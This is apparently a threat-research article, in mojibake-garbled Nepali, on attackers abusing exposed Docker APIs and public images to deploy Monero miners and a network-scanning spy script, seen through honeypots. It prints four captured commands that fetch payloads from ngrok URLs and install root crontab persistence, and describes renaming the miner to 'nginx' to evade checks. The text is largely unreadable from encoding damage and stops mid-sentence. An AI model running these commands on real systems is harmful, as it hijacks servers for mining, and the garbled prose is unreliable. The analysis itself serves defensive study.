рдХрд╕рд░реА рдЧреИрд░-рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдбрдХрд░ API рд░ рд╕рдореБрджрд╛рдпрдмрд╛рдЯ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдЫрд╡рд┐рд╣рд░реВ рдХреНрд░рд┐рдкреНрдЯреЛрдХрд░реЗрдиреНрд╕реА рдЦрд╛рдиреАрд╣рд░реВ рд╡рд┐рддрд░рдг рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рднрдЗрд░рд╣реЗрдХрд╛ рдЫрдиреН

рдХрд╕рд░реА рдЧреИрд░-рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдбрдХрд░ API рд░ рд╕рдореБрджрд╛рдпрдмрд╛рдЯ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдЫрд╡рд┐рд╣рд░реВ рдХреНрд░рд┐рдкреНрдЯреЛрдХрд░реЗрдиреНрд╕реА рдЦрд╛рдиреАрд╣рд░реВ рд╡рд┐рддрд░рдг рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рднрдЗрд░рд╣реЗрдХрд╛ рдЫрдиреН

рд╣рд╛рдореАрд▓реЗ рд╣рдиреАрдкреЛрдЯ рдХрдиреНрдЯреЗрдирд░рд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рд╕рдЩреНрдХрд▓рди рдЧрд░рд┐рдПрдХрд╛ рдбрд╛рдЯрд╛рд╣рд░реВ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдЧрд░реНрдпреМрдВ, рдЬреБрди рд╣рд╛рдореАрд▓реЗ рдЦрддрд░рд╛рд╣рд░реВ рдЯреНрд░реНрдпрд╛рдХ рдЧрд░реНрди рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░реЗрдХрд╛ рдерд┐рдпреМрдВред рд░ рд╣рд╛рдореАрд▓реЗ рдбрдХрд░ рд╣рдмрдорд╛ рд╕рд╛рдореБрджрд╛рдпрд┐рдХ-рдкреНрд░рдХрд╛рд╢рд┐рдд рдЫрд╡рд┐ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рдмрджрдорд╛рд╢ рдХрдиреНрдЯреЗрдирд░рдХреЛ рд░реВрдкрдорд╛ рддреИрдирд╛рде рдЧрд░рд┐рдПрдХрд╛ рдЕрдирд╛рд╡рд╢реНрдпрдХ рд╡рд╛ рдЕрдирд╛рдзрд┐рдХреГрдд рдХреНрд░рд┐рдкреНрдЯреЛрдХрд░реЗрдиреНрд╕реА рдЦрд╛рдиреАрд╣рд░реВрдмрд╛рдЯ рдорд╣рддреНрддреНрд╡рдкреВрд░реНрдг рдЧрддрд┐рд╡рд┐рдзрд┐ рдкрддреНрддрд╛ рд▓рдЧрд╛рдпреМрдВред рдЫрд╡рд┐ рдЦрд░рд╛рдм рдХреНрд░рд┐рдкреНрдЯреЛрдХрд░реЗрдиреНрд╕реА рдЦрд╛рдиреАрд╣рд░реВрд▓рд╛рдИ рдбреЗрд▓рд┐рднрд░ рдЧрд░реНрдиреЗ рд╕реЗрд╡рд╛рдХреЛ рдЕрдВрд╢рдХреЛ рд░реВрдкрдорд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдиреНрдЫред

рдердк рд░реВрдкрдорд╛, рдиреЗрдЯрд╡рд░реНрдХрд╣рд░реВрд╕рдБрдЧ рдХрд╛рдо рдЧрд░реНрдиреЗ рдХрд╛рд░реНрдпрдХреНрд░рдорд╣рд░реВ рдЦреБрд▓рд╛ рдЫрд┐рдореЗрдХреА рдХрдиреНрдЯреЗрдирд░рд╣рд░реВ рд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╣рд░реВ рдШреБрд╕рд╛рдЙрди рд╕реНрдерд╛рдкрдирд╛ рдЧрд░рд┐рдПрдХрд╛ рдЫрдиреНред

рд╣рд╛рдореА рд╣рд╛рдореНрд░рд╛ рд╣рдиреАрдкреЛрдЯрд╣рд░реВ рдЬрд╕реНрддреИ, рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд рд╕реЗрдЯрд┐рдЩрд╣рд░реВрд╕рдБрдЧ, рдХреБрдиреИ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпрд╣рд░реВ рд╡рд╛ рдердк рд╕рдлреНрдЯрд╡реЗрдпрд░рдХреЛ рдкрдЫрд┐ рд╕реНрдерд╛рдкрдирд╛ рдмрд┐рдирд╛ рдиреИ рдЫреЛрдбреНрдЫреМрдВред рдХреГрдкрдпрд╛ рдзреНрдпрд╛рди рджрд┐рдиреБрд╣реЛрд╕реН рдХрд┐ рдбрдХрд░рд╕рдБрдЧ рддреНрд░реБрдЯрд┐рд╣рд░реВ рд░ рд╕рд╛рдзрд╛рд░рдг рдХрдордЬреЛрд░реАрд╣рд░реВрдмрд╛рдЯ рдмрдЪреНрдирдХреЛ рд▓рд╛рдЧрд┐ рдкреНрд░рд╛рд░рдореНрднрд┐рдХ рд╕реЗрдЯрдЕрдкрдХреЛ рд▓рд╛рдЧрд┐ рд╕рд┐рдлрд╛рд░рд┐рд╕рд╣рд░реВ рдЫрдиреНред рддрд░ рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдПрдХреЛ рд╣рдиреАрдкреЛрдЯрд╣рд░реВ рдХрдиреНрдЯреЗрдирд░рд╣рд░реВ рд╣реБрдиреН, рдХрдиреНрдЯреЗрдирд░рд╛рдЗрдЬреЗрд╢рди рдкреНрд▓реЗрдЯрдлрд░реНрдордорд╛ рд▓рдХреНрд╖рд┐рдд рдЖрдХреНрд░рдордгрд╣рд░реВ рдкрддреНрддрд╛ рд▓рдЧрд╛рдЙрди рдбрд┐рдЬрд╛рдЗрди рдЧрд░рд┐рдПрдХреЛ, рдХрдиреНрдЯреЗрдирд░рд╣рд░реВ рднрд┐рддреНрд░рдХрд╛ рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╣рд░реВ рд╣реЛрдЗрдиред

рдкрддреНрддрд╛ рд▓рдЧрд╛рдЗрдПрдХреЛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЧрддрд┐рд╡рд┐рдзрд┐ рдкрдирд┐ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рдЫ рдХрд┐рдирднрдиреЗ рдпрд╕рд▓рд╛рдИ рдХрдордЬреЛрд░реАрд╣рд░реВ рдЖрд╡рд╢реНрдпрдХ рдкрд░реНрджреИрди рд░ рдбрдХрд░ рд╕рдВрд╕реНрдХрд░рдгрдмрд╛рдЯ рдкрдирд┐ рд╕реНрд╡рддрдиреНрддреНрд░ рдЫред рдЧрд▓рдд рддрд░рд┐рдХрд╛рд▓реЗ рдХрдиреНрдлрд┐рдЧрд░ рдЧрд░рд┐рдПрдХреЛ, рд░ рддреНрдпрд╕рдХрд╛рд░рдг рдЦреБрд▓рд╛, рдХрдиреНрдЯреЗрдирд░ рдЫрд╡рд┐ рдлреЗрд▓рд╛ рдкрд╛рд░реНрдиреБ рднрдиреЗрдХреЛ рдЖрдХреНрд░рдордгрдХрд╛рд░реАрд╣рд░реВрд▓реЗ рдзреЗрд░реИ рдЦреБрд▓рд╛ рд╕рд░реНрднрд░рд╣рд░реВрд▓рд╛рдИ рд╕рдВрдХреНрд░рдорд┐рдд рдЧрд░реНрди рдЖрд╡рд╢реНрдпрдХ рдЫред

рдЕрдирдХреНрд▓реЛрдЬреНрдб рдбрдХрд░ рдПрдкреАрдЖрдИрд▓реЗ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд▓рд╛рдИ рд╡рд┐рд╕реНрддреГрдд рджрд╛рдпрд░рд╛ рдкреНрд░рджрд░реНрд╢рди рдЧрд░реНрди рдЕрдиреБрдорддрд┐ рджрд┐рдиреНрдЫ рдЯреЛрд▓реАрд╣рд░реБ, рдЪрд▓рд┐рд░рд╣реЗрдХреЛ рдХрдиреНрдЯреЗрдирд░рд╣рд░реВрдХреЛ рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрдиреЗ, рд╡рд┐рд╢реЗрд╖ рдХрдиреНрдЯреЗрдирд░рдмрд╛рдЯ рд▓рдЧрд╣рд░реВ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрдиреЗ, рд╕реБрд░реБ рдЧрд░реНрдиреЗ, рд░реЛрдХреНрдиреЗ (рдЬрдмрд░рджрд╕реНрддреА рд╕рд╣рд┐рдд) рд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╕реЗрдЯрд┐рдЩрд╣рд░реВрдХреЛ рд╕рд╛рде рдПрдХ рд╡рд┐рд╢реЗрд╖ рдЫрд╡рд┐рдмрд╛рдЯ рдирдпрд╛рдБ рдХрдиреНрдЯреЗрдирд░ рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░реНрдиреЗ рд╕рд╣рд┐рддред

рдХрд╕рд░реА рдЧреИрд░-рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдбрдХрд░ API рд░ рд╕рдореБрджрд╛рдпрдмрд╛рдЯ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдЫрд╡рд┐рд╣рд░реВ рдХреНрд░рд┐рдкреНрдЯреЛрдХрд░реЗрдиреНрд╕реА рдЦрд╛рдиреАрд╣рд░реВ рд╡рд┐рддрд░рдг рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рднрдЗрд░рд╣реЗрдХрд╛ рдЫрдиреН
рдмрд╛рдБрдпрд╛рдорд╛ рдорд╛рд▓рд╡реЗрдпрд░ рдбреЗрд▓рд┐рднрд░реА рд╡рд┐рдзрд┐ рдЫред рджрд╛рдпрд╛рдБрдкрдЯреНрдЯрд┐ рдЖрдХреНрд░рдордгрдХрд╛рд░реАрдХреЛ рд╡рд╛рддрд╛рд╡рд░рдг рдЫ, рдЬрд╕рд▓реЗ рдЫрд╡рд┐рд╣рд░реВрдХреЛ рд░рд┐рдореЛрдЯ рд░реЛрд▓ рдЖрдЙрдЯ рдЧрд░реНрди рдЕрдиреБрдорддрд┐ рджрд┐рдиреНрдЫред

рдХрд╕рд░реА рдЧреИрд░-рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдбрдХрд░ API рд░ рд╕рдореБрджрд╛рдпрдмрд╛рдЯ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдЫрд╡рд┐рд╣рд░реВ рдХреНрд░рд┐рдкреНрдЯреЛрдХрд░реЗрдиреНрд╕реА рдЦрд╛рдиреАрд╣рд░реВ рд╡рд┐рддрд░рдг рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рднрдЗрд░рд╣реЗрдХрд╛ рдЫрдиреН
3762 рдУрдкрди рдбрдХрд░ API рдХреЛ рджреЗрд╢ рдЕрдиреБрд╕рд╛рд░ рд╡рд┐рддрд░рдгред Shodan рдЦреЛрдЬ рдорд┐рддрд┐ 12.02.2019/XNUMX/XNUMX рдорд╛ рдЖрдзрд╛рд░рд┐рдд

рдЖрдХреНрд░рдордг рдЪреЗрди рд░ рдкреЗрд▓реЛрдб рд╡рд┐рдХрд▓реНрдкрд╣рд░реВ

рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЧрддрд┐рд╡рд┐рдзрд┐ рд╣рдиреАрдкреЛрдЯреНрд╕рдХреЛ рдорджреНрджрддрд▓реЗ рдорд╛рддреНрд░ рдкрддреНрддрд╛ рд▓рдЧрд╛рдЗрдПрдХреЛ рдерд┐рдПрдиред рдореЛрдиреЗрд░реЛ рдХреНрд░рд┐рдкреНрдЯреЛрдХрд░реЗрдиреНрд╕реА рдорд╛рдЗрдирд┐рдЩ рд╕рдлреНрдЯрд╡реЗрдпрд░ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдирдХреЛ рд▓рд╛рдЧрд┐ рдкреБрд▓рдХреЛ рд░реВрдкрдорд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдПрдХреЛ рдЧрд▓рдд рдХрдиреНрдлрд┐рдЧрд░ рдЧрд░рд┐рдПрдХреЛ рдХрдиреНрдЯреЗрдирд░рдХреЛ рдЕрдиреБрд╕рдиреНрдзрд╛рди рдЧрд░реЗрдкрдЫрд┐ рдЦреБрд▓рд╛ рдбрдХрд░ рдПрдкреАрдЖрдИ (рджреЛрд╕реНрд░реЛ рдЧреНрд░рд╛рдл рд╣реЗрд░реНрдиреБрд╣реЛрд╕реН) рдХреЛ рд╕рдВрдЦреНрдпрд╛ рдмрдвреЗрдХреЛ рдЫ рднрдиреА Shodan рдмрд╛рдЯ рдбрд╛рдЯрд╛рд▓реЗ рджреЗрдЦрд╛рдЙрдБрдЫред рдЧрдд рд╡рд░реНрд╖ рдЕрдХреНрдЯреЛрдмрд░рдорд╛ (2018, рд╣рд╛рд▓рдХреЛ рдбрд╛рдЯрд╛ рддрдкрд╛рдИрдВ рдпреЛ рдЬрд╕реНрддреИ рд╣реЗрд░реНрди рд╕рдХреНрдиреБрд╣реБрдиреНрдЫ рд▓рдЧрднрдЧред рдЕрдиреБрд╡рд╛рджрдХ) рддреНрдпрд╣рд╛рдБ рдХреЗрд╡рд▓ 856 рдЦреБрд▓рд╛ API рд╣рд░реВ рдерд┐рдПред

рд╣рдиреАрдкреЛрдЯ рд▓рдЧрд╣рд░реВрдХреЛ рдкрд░реАрдХреНрд╖рдгрд▓реЗ рджреЗрдЦрд╛рдПрдХреЛ рдЫ рдХрд┐ рдХрдиреНрдЯреЗрдирд░ рдЫрд╡рд┐ рдкреНрд░рдпреЛрдЧ рдкрдирд┐ рдкреНрд░рдпреЛрдЧрд╕рдБрдЧ рд╕рдореНрдмрдиреНрдзрд┐рдд рдерд┐рдпреЛ ngrok, рд╕реБрд░рдХреНрд╖рд┐рдд рдЬрдбрд╛рдирд╣рд░реВ рд╕реНрдерд╛рдкрдирд╛ рдЧрд░реНрди рд╡рд╛ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдкрдорд╛ рдкрд╣реБрдБрдЪрдпреЛрдЧреНрдп рдмрд┐рдиреНрджреБрд╣рд░реВрдмрд╛рдЯ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдареЗрдЧрд╛рдирд╛рд╣рд░реВ рд╡рд╛ рд╕реНрд░реЛрддрд╣рд░реВрдорд╛ рдЯреНрд░рд╛рдлрд┐рдХ рдлрд░реНрд╡рд╛рд░реНрдб рдЧрд░реНрдиреЗ рдЙрдкрдХрд░рдг (рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐ рд▓реЛрдХрд▓рд╣реЛрд╕реНрдЯ)ред рдпрд╕рд▓реЗ рдЖрдХреНрд░рдордгрдХрд░реНрддрд╛рд╣рд░реВрд▓рд╛рдИ рдЦреБрд▓рд╛ рд╕рд░реНрднрд░рдорд╛ рдкреЗрд▓реЛрдб рдбреЗрд▓рд┐рднрд░ рдЧрд░реНрджрд╛ рдЧрддрд┐рд╢реАрд▓ рд░реВрдкрдорд╛ URL рд╣рд░реВ рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░реНрди рдЕрдиреБрдорддрд┐ рджрд┐рдиреНрдЫред рддрд▓ ngrok рд╕реЗрд╡рд╛рдХреЛ рджреБрд░реБрдкрдпреЛрдЧ рджреЗрдЦрд╛рдЙрдиреЗ рд▓рдЧрд╣рд░реВрдмрд╛рдЯ рдХреЛрдб рдЙрджрд╛рд╣рд░рдгрд╣рд░реВ рдЫрдиреН:

Tty: false
Command: тАЬ-c curl тАУretry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d тАЭhxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283тАЭ;echo тАЭ* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dтАЭ >/tmp9bedce/etc/crontab;echo тАЭ* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dтАЭ >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c тАЭcron || crondтАЭтАЭ,
Entrypoint: тАЬ/bin/shтАЭ

Tty: false,
Command: тАЬ-c curl тАУretry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d тАЭhxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283тАЭ;echo тАЭ* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dтАЭ >/tmp570547/etc/crontab;echo тАЭ* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dтАЭ >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c тАЭcron || crondтАЭтАЭ,
Entrypoint: тАЬ/bin/shтАЭ

Tty: false,
Command: тАЬ-c curl тАУretry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed тАЭhxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4eeтАЭ;echo тАЭ* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedтАЭ >/tmp326c80/etc/crontab;echo тАЭ* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedтАЭ >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c тАЭcron || crondтАЭтАЭ,
Entrypoint: тАЬ/bin/shтАЭ,

Tty: false,
Cmd: тАЬ-c curl тАУretry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed тАЭhxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4eeтАЭ;echo тАЭ* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedтАЭ >/tmp8b9b5b/etc/crontab;echo тАЭ* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedтАЭ >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c тАЭcron || crondтАЭтАЭ,
Entrypoint: тАЬ/bin/shтАЭ

рддрдкрд╛рдИрд▓реЗ рджреЗрдЦреНрди рд╕рдХреНрдиреБрд╣реБрдиреЗ рд░реВрдкрдорд╛, рдЕрдкрд▓реЛрдб рдЧрд░рд┐рдПрдХрд╛ рдлрд╛рдЗрд▓рд╣рд░реВ рд▓рдЧрд╛рддрд╛рд░ рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░рд┐рдПрдХрд╛ URL рдмрд╛рдЯ рдбрд╛рдЙрдирд▓реЛрдб рд╣реБрдиреНрдЫрдиреНред рдпреА URL рд╣рд░реВрдХреЛ рдореНрдпрд╛рдж рд╕рдХрд┐рдиреЗ рдорд┐рддрд┐ рдЫреЛрдЯреЛ рдЫ, рддреНрдпрд╕реИрд▓реЗ рдореНрдпрд╛рдж рд╕рдХрд┐рдиреЗ рдорд┐рддрд┐ рдкрдЫрд┐ рдкреЗрд▓реЛрдбрд╣рд░реВ рдбрд╛рдЙрдирд▓реЛрдб рдЧрд░реНрди рд╕рдХрд┐рдБрджреИрдиред

рддреНрдпрд╣рд╛рдБ рджреБрдИ рдкреЗрд▓реЛрдб рд╡рд┐рдХрд▓реНрдкрд╣рд░реВ рдЫрдиреНред рдкрд╣рд┐рд▓реЛ рд▓рд┐рдирдХреНрд╕рдХреЛ рд▓рд╛рдЧрд┐ рдХрдореНрдкрд╛рдЗрд▓ рдЧрд░рд┐рдПрдХреЛ ELF рдорд╛рдЗрдирд░ рд╣реЛ (Coinminer.SH.MALXMR.ATNO рдХреЛ рд░реВрдкрдорд╛ рдкрд░рд┐рднрд╛рд╖рд┐рдд) рдЬреБрди рдЦрдирди рдкреВрд▓рдорд╛ рдЬрдбрд╛рди рд╣реБрдиреНрдЫред рджреЛрд╕реНрд░реЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ (TrojanSpy.SH.ZNETMAP.A) рд╣реЛ рдЬреБрди рдиреЗрдЯрд╡рд░реНрдХ рджрд╛рдпрд░рд╛рд╣рд░реВ рд╕реНрдХреНрдпрд╛рди рдЧрд░реНрди рд░ рддреНрдпрд╕рдкрдЫрд┐ рдирдпрд╛рдБ рд▓рдХреНрд╖реНрдпрд╣рд░реВрдХреЛ рдЦреЛрдЬреА рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдиреЗ рдирд┐рд╢реНрдЪрд┐рдд рдиреЗрдЯрд╡рд░реНрдХ рдЙрдкрдХрд░рдгрд╣рд░реВ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди рдбрд┐рдЬрд╛рдЗрди рдЧрд░рд┐рдПрдХреЛ рд╣реЛред

рдбреНрд░рдкрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд▓реЗ рджреБрдИ рдЪрд░рд╣рд░реВ рд╕реЗрдЯ рдЧрд░реНрджрдЫ, рдЬреБрди рддреНрдпрд╕рдкрдЫрд┐ рдХреНрд░рд┐рдкреНрдЯреЛрдХрд░реЗрдиреНрд╕реА рдорд╛рдЗрдирд░ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдиреНрдЫред HOST рдЪрд░рд▓реЗ URL рд╕рдорд╛рд╡реЗрд╢ рдЧрд░реНрджрдЫ рдЬрд╣рд╛рдБ рдорд╛рд▓рд┐рд╕рд┐рдпрд╕ рдлрд╛рдЗрд▓рд╣рд░реВ рдЕрд╡рд╕реНрдерд┐рдд рдЫрдиреН, рд░ RIP рднреЗрд░рд┐рдПрдмрд▓ рддреИрдирд╛рде рдЧрд░рд┐рдиреЗ рдЦрд╛рдиреАрдХреЛ рдлрд╛рдЗрд▓ рдирд╛рдо (рд╡рд╛рд╕реНрддрд╡рдорд╛, рд╣реНрдпрд╛рд╕) рд╣реЛред HOST рдЪрд░ рдкреНрд░рддреНрдпреЗрдХ рдкрдЯрдХ рд╣реНрдпрд╛рд╕ рдЪрд░ рдкрд░рд┐рд╡рд░реНрддрди рд╣реБрдБрджрд╛ рдкрд░рд┐рд╡рд░реНрддрди рд╣реБрдиреНрдЫред рд╕реНрдХреНрд░рд┐рдкреНрдЯрд▓реЗ рдЖрдХреНрд░рдордг рдЧрд░рд┐рдПрдХреЛ рд╕рд░реНрднрд░рдорд╛ рдХреБрдиреИ рдЕрдиреНрдп рдХреНрд░рд┐рдкреНрдЯреЛрдХрд░реЗрдиреНрд╕реА рдорд╛рдЗрдирд░рд╣рд░реВ рдЪрд▓рд┐рд░рд╣реЗрдХреЛ рдЫреИрди рднрдиреЗрд░ рдкрдирд┐ рдЬрд╛рдБрдЪ рдЧрд░реНрдиреЗ рдкреНрд░рдпрд╛рд╕ рдЧрд░реНрджрдЫред

рдХрд╕рд░реА рдЧреИрд░-рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдбрдХрд░ API рд░ рд╕рдореБрджрд╛рдпрдмрд╛рдЯ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдЫрд╡рд┐рд╣рд░реВ рдХреНрд░рд┐рдкреНрдЯреЛрдХрд░реЗрдиреНрд╕реА рдЦрд╛рдиреАрд╣рд░реВ рд╡рд┐рддрд░рдг рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рднрдЗрд░рд╣реЗрдХрд╛ рдЫрдиреН
HOST рд░ RIP рдЪрд░рдХрд╛ рдЙрджрд╛рд╣рд░рдгрд╣рд░реВ, рд╕рд╛рдереИ рдЕрдиреНрдп рдХреБрдиреИ рдЦрд╛рдиреА рдХрд╛рдорджрд╛рд░рд╣рд░реВ рдЪрд▓рд┐рд░рд╣реЗрдХреЛ рдЫреИрди рднрдиреА рдЬрд╛рдБрдЪ рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдиреЗ рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ

рдЦрд╛рдиреА рд╕реБрд░реБ рдЧрд░реНрдиреБ рдЕрдШрд┐, рдпрд╕рд▓рд╛рдИ nginx рдорд╛ рдкреБрди: рдирд╛рдорд╛рдХрд░рдг рдЧрд░рд┐рдПрдХреЛ рдЫред рдпрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯрдХреЛ рдЕрдиреНрдп рд╕рдВрд╕реНрдХрд░рдгрд╣рд░реВрд▓реЗ рд▓рд┐рдирдХреНрд╕ рд╡рд╛рддрд╛рд╡рд░рдгрдорд╛ рдЙрдкрд╕реНрдерд┐рдд рд╣реБрди рд╕рдХреНрдиреЗ рдЕрдиреНрдп рд╡реИрдз рд╕реЗрд╡рд╛рд╣рд░реВрдорд╛ рдЦрд╛рдиреАрдХреЛ рдирд╛рдо рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНрджрдЫред рдпреЛ рд╕рд╛рдорд╛рдиреНрдпрддрдпрд╛ рдЪрд▓рд┐рд░рд╣реЗрдХреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛рд╣рд░реВрдХреЛ рд╕реВрдЪреА рд╡рд┐рд░реБрджреНрдз рдЬрд╛рдБрдЪ рдмрд╛рдЗрдкрд╛рд╕ рдЧрд░реНрди рдкрд░реНрдпрд╛рдкреНрдд рдЫред

рдЦреЛрдЬ рд▓рд┐рдкрд┐рдорд╛ рдкрдирд┐ рд╕реБрд╡рд┐рдзрд╛рд╣рд░реВ рдЫрдиреНред рдпрд╕рд▓реЗ рдЖрд╡рд╢реНрдпрдХ рдЙрдкрдХрд░рдгрд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рд╕рдорд╛рди URL рд╕реЗрд╡рд╛рд╕рдБрдЧ рдХрд╛рдо рдЧрд░реНрджрдЫред рддрд┐рдиреАрд╣рд░реВ рдордзреНрдпреЗ zmap рдмрд╛рдЗрдирд░реА рд╣реЛ, рдЬреБрди рдиреЗрдЯрд╡рд░реНрдХрд╣рд░реВ рд╕реНрдХреНрдпрд╛рди рдЧрд░реНрди рд░ рдЦреБрд▓рд╛ рдкреЛрд░реНрдЯрд╣рд░реВрдХреЛ рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдиреНрдЫред рд╕реНрдХреНрд░рд┐рдкреНрдЯрд▓реЗ рдЕрд░реНрдХреЛ рдмрд╛рдЗрдирд░реА рдкрдирд┐ рд▓реЛрдб рдЧрд░реНрджрдЫ рдЬреБрди рдлреЗрд▓рд╛ рдкрд░реЗрдХрд╛ рд╕реЗрд╡рд╛рд╣рд░реВрд╕рдБрдЧ рдЕрдиреНрддрд░рдХреНрд░рд┐рдпрд╛ рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдиреНрдЫ рд░ рдлреЗрд▓рд╛ рдкрд╛рд░рд┐рдПрдХреЛ рд╕реЗрд╡рд╛ (рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, рдпрд╕рдХреЛ рд╕рдВрд╕реНрдХрд░рдг) рдмрд╛рд░реЗ рдердк рдЬрд╛рдирдХрд╛рд░реА рдирд┐рд░реНрдзрд╛рд░рдг рдЧрд░реНрди рддрд┐рдиреАрд╣рд░реВрдмрд╛рдЯ рдмреНрдпрд╛рдирд░рд╣рд░реВ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдиреНрдЫред

рд╕реНрдХреНрд░рд┐рдкреНрдЯрд▓реЗ рд╕реНрдХреНрдпрд╛рди рдЧрд░реНрдирдХрд╛ рд▓рд╛рдЧрд┐ рдХреЗрд╣реА рдиреЗрдЯрд╡рд░реНрдХ рджрд╛рдпрд░рд╛рд╣рд░реВ рдкрдирд┐ рдкреВрд░реНрд╡-рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдЧрд░реНрджрдЫ, рддрд░ рдпреЛ рд▓рд┐рдкрд┐рдХреЛ рд╕рдВрд╕реНрдХрд░рдгрдорд╛ рдирд┐рд░реНрднрд░ рдЧрд░реНрджрдЫред рдпрд╕рд▓реЗ рд╕реЗрд╡рд╛рд╣рд░реВрдмрд╛рдЯ рд▓рдХреНрд╖рд┐рдд рдкреЛрд░реНрдЯрд╣рд░реВ рдкрдирд┐ рд╕реЗрдЯ рдЧрд░реНрджрдЫ - рдпрд╕ рдЕрд╡рд╕реНрдерд╛рдорд╛, рдбрдХрд░ - рд╕реНрдХреНрдпрд╛рди рдЪрд▓рд╛рдЙрдиреБ рдЕрдШрд┐ред

рд╕рдХреЗрд╕рдореНрдо рдЪрд╛рдБрдбреЛ рд▓рдХреНрд╖реНрдпрд╣рд░реВ рдлреЗрд▓рд╛ рдкрд░реЗрдкрдЫрд┐, рдмреНрдпрд╛рдирд░рд╣рд░реВ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдкрдорд╛ рддрд┐рдиреАрд╣рд░реВрдмрд╛рдЯ рд╣рдЯрд╛рдЗрдиреНрдЫред рд╕реНрдХреНрд░рд┐рдкреНрдЯрд▓реЗ рд╕реЗрд╡рд╛рд╣рд░реВ, рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╣рд░реВ, рдХрдореНрдкреЛрдиреЗрдиреНрдЯрд╣рд░реВ рд╡рд╛ рдЪрд╛рд╕реЛрдХреЛ рдкреНрд▓реЗрдЯрдлрд░реНрдорд╣рд░реВрдХреЛ рдЖрдзрд╛рд░рдорд╛ рд▓рдХреНрд╖реНрдпрд╣рд░реВ 